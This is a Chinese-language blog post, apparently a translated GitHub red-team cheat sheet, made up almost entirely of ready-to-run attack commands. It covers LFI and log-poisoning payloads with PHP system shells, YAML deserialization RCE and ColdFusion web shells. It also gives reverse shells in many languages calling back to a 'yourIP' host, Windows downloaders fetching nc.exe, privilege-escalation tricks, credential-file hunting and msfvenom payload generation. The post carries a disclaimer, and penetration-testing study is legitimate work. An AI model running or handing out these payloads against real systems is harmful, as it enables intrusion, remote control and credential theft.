渗透测试红队手册

2023年5月22日11:07:26

渗透测试自学日志,开始学习怎么挖掘src,然后朋友给我推荐了很多资源,学习过程中做下笔记,顺便给大家推荐下。。
免责声明
该文章仅用于信息防御技术的交流和学习,请勿用于其他用途;
在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献;

本文是翻译Github原文

红队笔记

一些有用的命令

前期枚举-信息收集

第一步 收集网段信息

nmap -sn 10.11.1.0/24

Nbtscan—从Windows网络上收集NetBIOS信息

nbtscan -r 10.11.1.0/24

DNS recon
DNS侦察是渗透测试信息收集中重要的一部分。DNS侦察是为了从DNS服务器返回的记录中,获取更多信息。不用触发IDS/IPS即可获取网络设施相关的信息。

dnsrecon -r 10.11.1.0/24 -n <DNS IP>

使用nmap扫描特定目标

nmap -sV -sT -p- <target IP>

使用xprobe2进行操作系统猜测

xprobe2 <target IP>

检查 Netbios 漏洞

nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 target

搜索SMB 漏洞

nmap -p139,445 <target IP> --script smb-vuln*

SMB枚举 (null session)
enum4linux是KaliQ Linux自带的一款信息收集工具。它可以收集Windows系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。

enum4linux -a <target IP>

SMB枚举 (w/user & pass)

enum4linux -a -u <user> -p <passwd> <targetIP>

网站枚举
使用字典快速枚举
GOBUSTER - 目录/文件和DNS爆破工具。
github:https://github.com/OJ/gobuster

gobuster -u http://<target IP> -w /usr/share/dirb/wordlists/big.txt

网站枚举和基本的vuln扫描

nikto -host http://<target IP>

网站渗透小技巧

1、Python

不安全的YAML解析可能允许创建Python对象,从而导致远程代码执行

!!python/object/apply:os.system ["bash -i >& /dev/tcp/yourIP/4444 0>&1"]

2、PHP

  • 检查本地文件包含
    在GET/POST 参数中添加 /etc/passwd%00。
    在Windows中尝试
 C:\Windows\System32\drivers\etc\hosts%00 
 C:\autoexec.bat%00.
以下文件将包含本地管理凭据
c:\sysprep.inf,
c:\sysprep\sysprep.xml 
c:\unattend.xml 

在linux上,值得检查/proc/self/ environment,看看是否有任何凭据通过env vars传递给运行的进程。

  • 通过本地文件包含获取php文件
/index.php?somevar=php://filter/read=convert.base64-encode/resource=<file path>%00 

这将返回base64编码的PHP文件。 适合于查找config.php或类似的内容。

  • 在某些情况下,可能会用/proc/self/environ来执行一个命令。 例如:
index.php?somevar=/proc/self/environ&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • Apache access.log + LFI = PHP injection
    如果Apache日志可以通过LFI访问,那么我们可以将任何PHP代码注入到日志中,然后通过LFI查看日志。

用netcat发送这样的请求

GET /<?php system($_GET["cmd"]);?>
  • auth.log + LFI
ssh <?php system($_GET["cmd"]);?>@targetIP and then LFI /var/log/auth.log
  • /var/mail + LFI
mail -s "<?php system($_GET["cmd"]);?>" someuser@targetIP < /dev/null
  • php expect
index.php?somevar=expect://ls
  • php 输入
curl -X POST "targetIP/index.php?somevar=php://input" --data '<?php system("curl -o cmd.php yourIP/cmd.txt");?>' 
Then access target
IP/cmd.php

应用服务器平台

  • 是企业还是社区?
    检查它如何处理.jsp文件
curl targetIP/blah/blah.jsp
 如果404 -企业,500 -社区。  
  • 什么版本?
/ CFIDE adminapi / base.cfc? wsdl
有一个有用的注释,指示确切的版本 
  • 普通 XEE
    https://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf

  • LFI在管理登录区域设置

/CFIDE/administrator/enter.cfm?locale=../../../../ColdFusion9\lib\password.properties

可能需要全路径。 它们可以在/CFIDE/componentutils/cfexplorer.cfc的帮助下获得

  • 本地上传和执行
    一旦获得了访问管理面板的权限,就可以使用任务调度程序下载一个文件,并使用系统探测来执行它。

调试和日志记录->计划任务-> url=,发布-保存输出到文件(一些可写的路径)。 然后手动执行此任务,将下载并保存我们的文件。

要执行它,创建一个探测调试和日志->系统探测-> URL=,探测失败-如果探测不包含“blahblah”,执行程序失败。 然后手动运行probe。

-有价值的文件

CF7 \lib\neo-query.xml
CF8 \lib\neo-datasource.xml
CF9 \lib\neo-datasource.xml

简单的 CFM shell

<html>
<body>
<cfexecute name = "#URL.runme#" arguments =
"#URL.args#" timeout = "20">
</cfexecute>
</body>
</html>

简单的JAVA shell (if CFEXECUTE is disabled)

<cfset runtime = createObject("java",
"java.lang.System")>
<cfset props = runtime.getProperties()>
<cfdump var="#props#">
<cfset env = runtime.getenv()>
<cfdump var="#env#">

目录爆破

通用文件爆破

gobuster -u targetIP -w /usr/share/dirb/wordlists/big.txt

fuzz某些cgi

gobuster -u targetIP -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s 200

**如何反向Shell **

  • Bash
bash -i >& /dev/tcp/yourIP/4444 0>&1
  • Perl Linux
perl -e 'use Socket;$i="yourIP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • Perl Windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"yourIP:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  • Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("yourIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • PHP
php -r '$sock=fsockopen("yourIP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Ruby
ruby -rsocket -e'f=TCPSocket.open("yourIP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  • Java (Linux)
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/yourIP/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
  • Groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}catch (Exception e){}};
p.destroy();
s.close();
  • xterm
xterm -display yourIP:1

在你这边授权与xhost +targetIp的连接,并与Xnest:1

  • socat
    Listener:
socat file:`tty`,raw,echo=0 yourIP:4444

target:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:yourIP:4444

交互式Shell升级技巧

  • Python (Linux)
python -c 'import pty; pty.spawn("/bin/bash")'

然后按Ctrl-Z返回到本地shell和stty raw -echo,然后用fg返回到远程shell,并设置终端export TERM=xterm

  • Python (Windows)
    c:\python26\python.exe -c ‘import pty; pty.spawn(“c:\windows\system32\cmd.exe”)’

-Expect

sh.exp

#!/usr/bin/expect
spawn sh
interact
  • Script
script /dev/null

Windows命令

  • Get version
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
  • Get users
net users
  • Get user info
net user <username>
  • 检查本地连接和监听端口(与nmap扫描相比较,看看是否有隐藏端口)
netstat -ano
  • Firewall status
netsh firewall show state
netsh firewall show config
  • Scheduled tasks
List - schtasks /query /fo LIST /v
Create - schtasks /Create /TN mytask /SC MINUTE /MO 1 /TR "mycommands"
Run - schtasks /Run /TN mytask
Delete - schtasks /Delete /TN mytask
  • Running tasks
List - tasklist /SVC
Kill - taskkill /IM <exe name> /F
Kill - taskkill /PID <pid> /F
  • Services
List - net start
Long name to key name sc getkeyname "long name"
Details - sc qc <key name>
Config - sc config <key name>
  • 容易得到的成果
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
  • 正在运行的程序
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
  • 有趣的文件
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
  • 查找感兴趣的注册表项
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
  • 权限
检查服务详情  
accesschk.exe /accepteula -ucqv <service name>
发现修改的服务 
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *
文件夹权限 
accesschk.exe -dqv <path>
cacls <path>
icacls <path\file
  • WinXP SP0/1快速获取
sc config upnphost binpath= "C:\nc.exe -nv yourIP 4444 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""
net stop upnphost
net start upnphost
  • 快速获取
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query "HKCU\Software\ORL\WinVNC3\Password"
  • 使用VBS下载文件
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://yourIp/nc.exe", False
xHttp.Send

with bStrm
    .type = 1 \'//binary
    .open
    .write xHttp.responseBody
    .savetofile "C:\\Users\\Public\\nc.exe", 2 \'//overwrite
end with
  • 使用Powershell 3+下载
powershell -NoLogo -Command "Invoke-WebRequest -Uri 'https://yourIP/nc.exe' -OutFile 'c:\Users\Public\Downloads\nc.exe'"
  • 使用Powershell 2下载
powershell -NoLogo -Command "$webClient = new-object System.Net.WebClient; $webClient.DownloadFile('https://yourIP/nc.exe', 'c:\Users\Public\Download\nc.exe')"
  • 使用 Python下载
c:\Python26\python.exe -c "import urllib; a=open('nc.exe', 'wb'); a.write(urllib.urlopen('http://yourIP/nc.exe').read()); a.flush();a.close()"

Windows专用LPE vulns

https://www.exploit-db.com/exploits/11199/
https://www.exploit-db.com/exploits/18176/
https://www.exploit-db.com/exploits/15609/
https://www.securityfocus.com/bid/42269/exploit
https://www.securityfocus.com/bid/46136/exploit

Linux相关

  • 基本枚举
    System info
uname -a

Arch

uname -m

Kernel

cat /proc/version

Distro

cat /etc/*-release or cat /etc/issue

Filesystem

df -a

Users

cat /etc/passwd

Groups

cat /etc/group

Super accounts

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

Currently logged in

finger, w, who -a, pinky, users

Last logged users

last, lastlog

Cheeky test -

sudo -l
  • 任何可以用sudo来运行有趣的东西
sudo -l 2>/dev/null | grep -w 'nmap|perl|awk|find|bash|sh|man|more|less|vi|vim|nc|netcat|python|ruby|lua|irb' | xargs -r ls -la 2>/dev/null

History -

history

Env vars

env

Available shells

cat /etc/shells

SUID files

find / -perm -4000 -type f 2>/dev/null

SUID owned by root

find / -uid 0 -perm -4000 -type f 2>/dev/null

GUID files

find / -perm -2000 -type f 2>/dev/null

任意可写

find / -perm -2 -type f 2>/dev/null

任意可写执行

find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

任意可写文件夹

find / -perm -2 -type d 2>/dev/null

rhost files

find /home –name *.rhosts -print 2>/dev/null

Plan files

find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;

hosts.equiv

find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;

Can we peek at /root?

ls -ahlR /root/

Find ssh files

find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la

Inetd

ls -la /usr/sbin/in.*

Grep logs for loot

grep -l -i pass /var/log/*.log 2>/dev/null

What do we have in logs

find /var/log -type f -exec ls -la {} ; 2>/dev/null

Find conf files in /etc

find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null

as above

ls -la /etc/*.conf

List open files

lsof -i -n

Can we read root mail?

head /var/mail/root

What is running as root?

ps aux | grep root

查找运行文件的路径

ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'

NFS的导出和权限

ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null

List sched jobs

ls -la /etc/cron*

List open connections (run with sudo/as root for more results)

lsof -i

Installed pkgs: dpkg -l (debian), rpm -qa (RH)

sudo version?

sudo -V

Available compilers

dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null

如果您发现一个特权bash shell,在遍历文件夹中的文件时使用通配符,您可以创建文件。注意,您可以创建文件,这些文件的名称将被解析为用于遍历所述文件的命令的参数。这打开了有趣的攻击向量,即当有for循环和循环内脚本执行时,例如每个文件上的CP。如果使用touch–’-someargument’创建文件,它将作为–someargument传递给命令。很好的例子是,如果这样的脚本将文件复制到某个地方。添加一个名为–preserve=mode的文件,同时在同一文件夹中复制/bin/bash,并将其模式更改为4755,将导致脚本将bash复制为具有suid权限的根。用bash-p执行该bash副本将导致bash以root身份运行。

Docker 提示

因为Docker很可能以root身份运行,如果你可以以非特权用户身份执行Docker命令,你很可能会使用Docker的特权。

docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash 

注意,主机上的根文件夹被挂载为/host。 您还将看到主机上运行的所有进程都连接到相同的网卡。

您可能希望转义UTS和IPC命名空间,使用–uts =host --ipc =host

使用cUrl和WebDAV上传文件

curl -T nc.exe http://targetIP/nc.txt
curl -X MOVE -v -H "Destination:http://targetIP/nc.exe" http://targetIP/nc.txt

msfvenom

List payloads

msfvenom -l

Binaries

  • Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
  • Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  • Mac
    msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
Web Payloads
  • PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
  • ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
  • JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
  • WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
  • Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
  • Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
  • Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode

有关所有shellcode,请参阅msfvenom -help-formats获取有关有效参数的信息。 msfvenom将输出代码,可以剪切和粘贴在这种语言为您的利用。

  • Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
  • Windows Based Shellcode
    msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

  • Mac Based Shellcode
    msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

Shellshock
  • CVE-2014-6271
env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id
  • CVE-2014-7169
env X='() { (a)=>\' bash -c "echo date"; cat echo
  • CVE-2014-7186
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"
  • CVE-2014-7187
 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
  • CVE-2014-6278
env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c :

  • 作者:maverickpig
  • 原文链接:https://blog.csdn.net/maverickpig/article/details/123589187
    更新时间:2023年5月22日11:07:26 ,共 12335 字。